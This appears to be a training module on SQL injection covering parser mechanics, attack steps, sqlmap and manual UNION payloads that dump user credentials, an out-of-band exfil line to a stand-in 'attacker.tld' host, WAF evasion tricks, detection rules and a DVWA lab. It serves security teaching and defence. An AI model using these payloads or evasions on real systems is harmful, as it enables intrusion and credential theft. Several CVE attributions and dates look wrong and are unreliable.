SQL Injection

SQL injection is the failure to separate code from data inside the SQL parser. The database engine cannot tell your query string from attacker-supplied input once they have been concatenated. The cost of that ambiguity is exposed in CVE-2011-0624 (Sony PSN, 77M records), CVE-2019-11043 (PHP-FPM RCE piggybacking on SQL behavior), and the 2024 MOVEit CVE-2023-34362 mass breach that began as a SQLi in a s_ar_vw_search proc.

The Core Concept

A SQL parser tokenizes input, builds an AST, and executes it. The parser treats the entire query string as code. Concatenation puts user input into the code region; parameterization puts it into a placeholder the parser knows is data.

Concatenation (VULNERABLE):
  query = "SELECT * FROM users WHERE id=" + input
  input = "1 OR 1=1"
  → SELECT * FROM users WHERE id=1 OR 1=1   ← parser sees this as one statement

Parameterization (SAFE):
  query = "SELECT * FROM users WHERE id=?"
  stmt.bind(1, input)
  → parser builds AST with placeholder, then values are bound at executor time
  → SELECT * FROM users WHERE id = '1 OR 1=1'   ← treated as a literal string

The single quote ' is the boundary character in most engines. If a defender’s code does not escape or parameterize, an attacker’s ' terminates the literal and starts injecting SQL tokens.

How It Works

1. Identify the injection point — GET/POST params, headers (Cookie, X-Forwarded-For), JSON body values. The classic detection payload is ' — if the response differs from a baseline (500 error, missing row, database error string), there is a parser interaction.
2. Confirm with boolean — ' AND 1=1-- - vs ' AND 1=2-- -. The first returns the same row as the original; the second returns nothing. This confirms the engine is parsing the input.
3. Determine the engine — engine-specific syntax errors reveal the database:

   MySQL      You have an error in your SQL syntax ... near 'x'
   PostgreSQL ERROR:  syntax error at or near "x"
   MSSQL      Unclosed quotation mark after the character string 'x'
   Oracle     ORA-00936: missing expression
   SQLite     near "x": syntax error

4. Enum metadata — every engine has a schema dictionary:

   MySQL       information_schema.tables / .columns
   PostgreSQL  information_schema (ANSI) or pg_catalog.pg_tables / pg_attribute
   MSSQL       sys.tables / sys.columns / INFORMATION_SCHEMA.TABLES
   Oracle      ALL_TABLES / ALL_TAB_COLUMNS / USER_TABLES
   SQLite      sqlite_master / pragma_table_info()

5. Decide technique — UNION (visible column count + content), boolean blind (when content not reflected), time-based blind (when no error or output), error-based (when DB errors are surfaced verbatim), out-of-band (when DB has egress — LOAD_FILE(), COPY ... TO PROGRAM, xp_dirtree).

Common Techniques

Technique	Description	Detection Difficulty
In-band UNION	UNION SELECT adds attacker rows to the response	Easy — WAF sees UNION SELECT
Error-based	extractvalue(1, concat(0x7e, (SELECT version())))	Easy — DB error string in response
Boolean blind	Infer one bit per request via row presence/absence	Medium — slow, but rate shape is detectable
Time-based blind	IF(condition, SLEEP(5), 0) — infer via latency	Medium — 5s response is suspicious
Out-of-band (OOB)	LOAD_FILE('\\\\attacker\\share'), xp_dirtree, DNS exfil	Hard — requires DNS exfil channel
Stacked queries	; DROP TABLE users; -- (PHP-MySQL mysqli_multi_query, MSSQL)	Easy when present — rare in MySQL with prepared statements
Second-order	Payload stored in one table, executed when concatenated elsewhere	Hard — input and trigger are decoupled

Hands-On Commands

# sqlmap with auto-detection and dump of all databases
sqlmap -u "http://target/page?id=1" --batch --dbs --random-agent --delay=1

# Force UNION technique and enumerate columns explicitly
sqlmap -u "http://target/page?id=1" --technique=U --union-cols=5-10 --union-char=A

# Time-based blind on a POST body param — needs --data
sqlmap -u "http://target/login" --data="user=admin&pass=x" -p user \
       --technique=T --time-sec=5 --level=3 --risk=2

# OS shell via sqlmap — needs DBA + stacked queries + FILE privilege (MySQL) or sa (MSSQL)
sqlmap -u "http://target/page?id=1" --os-shell --privileges

# Manual boolean-blind payload
# Baseline:  ?id=1                → row visible
# Probe:     ?id=1 AND 1=2-- -    → row hidden → confirm boolean

# Manual UNION enumeration (MySQL)
?id=-1 UNION SELECT 1,2,3,4-- -                          # find visible cols
?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database()-- -
?id=-1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'-- -
?id=-1 UNION SELECT 1,concat(user,0x3a,password),3,4 FROM users-- -

# Out-of-band exfil (MSSQL, needs xp_dirtree)
?id=1; EXEC master..xp_dirtree '\\attacker.tld\share'-- -

Detection — Defender View

ModSecurity OWASP CRS rule 942100 — SQL Injection (chained); the family is 942100–942999. Notable sub-rules:

• 942120 — SQL Injection: SQL Operator Detection
• 942130 — SQL Injection: SQL Tautology Detection
• 942150 — SQL Injection: SQL Comment Sequence Detection
• 942160 — SQL Injection: SQL Function Detection (SLEEP, BENCHMARK, pg_sleep)
• 942190 — SQL Injection: SQL Auth Bypass Detection (OR 1=1, '=', admin'--)
• 942200 — SQL Injection: SQL Auth Bypass Detection (verbose)

Suricata SID 2002865 — SQL Injection generic in HTTP argument [verify].

Sysmon Event ID 1 — ProcessCreate with parent sqlservr.exe (MSSQL) or mysqld spawning cmd.exe / powershell.exe — direct indicator of xp_cmdshell or MySQL UDF abuse (T1505.003 Web Shell, T1059 Command and Scripting Interpreter).

MITRE ATT&CK T1190 — Exploit Public-Facing Application (the upstream for all web SQLi).

MITRE ATT&CK T1213 — Data from Information Repositories (DB as the repository).

MITRE ATT&CK T1005 — Data from Local System (when sqlmap dumps to ~/.local/share/sqlmap/output/).

Wazuh rule 31102 — SQL Injection attempt pattern in HTTP request [verify].

Wazuh rule 920/623 — SQLi attempt in URL parameters (custom decoders in /var/ossec/etc/decoders/local_decoder.xml) [verify].

Evasion Techniques

Comment-based obfuscation. Inline comments break keyword regex: S/**/ELECT, UN/**/ION. CRS strips comments with t:removeCommentsChar before matching.

Encoding chaining. URL-encode twice to defeat one-shot URL decoders (%2527 → %27 → '). Use t:urlDecodeUni and apply twice if needed (tx.allow_php0 style).

HPP (HTTP Parameter Pollution). Send ?id=1&id=UNION SELECT password FROM users. Different backends pick different values — ASP/IIS concatenates with comma, PHP/Java takes last, Tomcat takes first. WAF rule that inspects only one value misses it.

Case + whitespace. SeLeCt, U/**/NION, tab/newline between tokens. Lowercase-and-normalize before matching: t:lowercase, t:compressWhitespace.

Hex / char encoding inside literals. 0x61646d696e instead of 'admin', CHAR(97,100,109,105,110) instead. Catch with regex on 0x[0-9a-f]{8,} and CHAR\(\d+.

Evasion	What it bypasses	Defense
/**/ inline comment	Naive keyword match	t:removeComments
Double URL encoding	Single urlDecode pass	t:urlDecodeUni (handles %uXXXX and double-encoded)
HPP	Single-param rules	Inspect full param array, not just one value
Alternative separators (/*! MySQL conditional)	Generic comment strip	Engine-specific rule set; MySQL conditional comments are SQL tokens
Unicode fullwidth （ for (	ASCII-only regex	Normalize via t:urlDecodeUni + UTF-8 NFC

⚠️ What caught me: A target’s WAF (Imperva) blocked every payload containing the literal UNION SELECT — case-insensitive, comment-stripped, and t:urlDecodeUni applied. The bypass was MySQL conditional comments: /*!50000UNION*/ /*!50000SELECT*/. Imperva’s parser stripped the comment but kept UNION SELECT as two adjacent tokens, which it then re-blocked. But the engine had sql_mode=ALLOW_INVALID_DATES and the trick id=1 UNION SELECT NULL,'admin',3 with the column list inside a CASE WHEN reduced the rule coverage. Lesson: WAF regex matches a normalized form; your job is to find a normalization path the WAF missed. The eventual bypass was 0x hex literals + HPP, two-stage exploitation.

Lab Practice

Container: DVWA (vulnerables/web-dvwa) — difficulty levels low/medium/high; the SQLi module exercises union, blind, and error-based.

docker run --rm -d -p 80:80 vulnerables/web-dvwa
# Login: admin / password → DVWA Security → adjust level

Objective: extract the users table via UNION at “medium”, boolean-blind at “high”, and time-based at “impossible” (where the impossible level uses mysqli_real_escape_string + parameterized queries — your job is to prove it is actually patched, not just claim it).

Expected flag format: flag{sqli_dvwa_union_extracted_users_table}.

Detection that should fire: ModSecurity CRS 942100 family on every attempt; on the high level, expect time-based alerts from 942160.

Interview Questions

Conceptual: why does parameterization (? placeholders) defeat SQL injection while mysql_real_escape_string() is not a complete defense? Give one concrete case where escaping fails but parameterization does not.

Technical: walk through what sqlmap --technique=T --time-sec=5 --level=3 --risk=2 does differently from default --technique=BEUSTQ, and why increasing the level also increases the risk of accidentally DoSing the target.

Scenario: a blind SQLi where SLEEP(5) returns in 5s but the target has a 30s hard timeout and the page returns 200 with no content either way. How do you exploit it without a timing oracle?

What is the difference between an in-band UNION-based injection and an out-of-band (OOB) injection in terms of network flow, and why is OOB significantly harder to detect with a perimeter WAF?

Compare MySQL’s information_schema and PostgreSQL’s pg_catalog. Why does PostgreSQL’s catalog layout make blind SQLi enumeration slower per-query than MySQL?

Related Modules

→ W1 (OWASP Top 10 Overview) · W8 (Command Injection) · W21 (NoSQL Injection)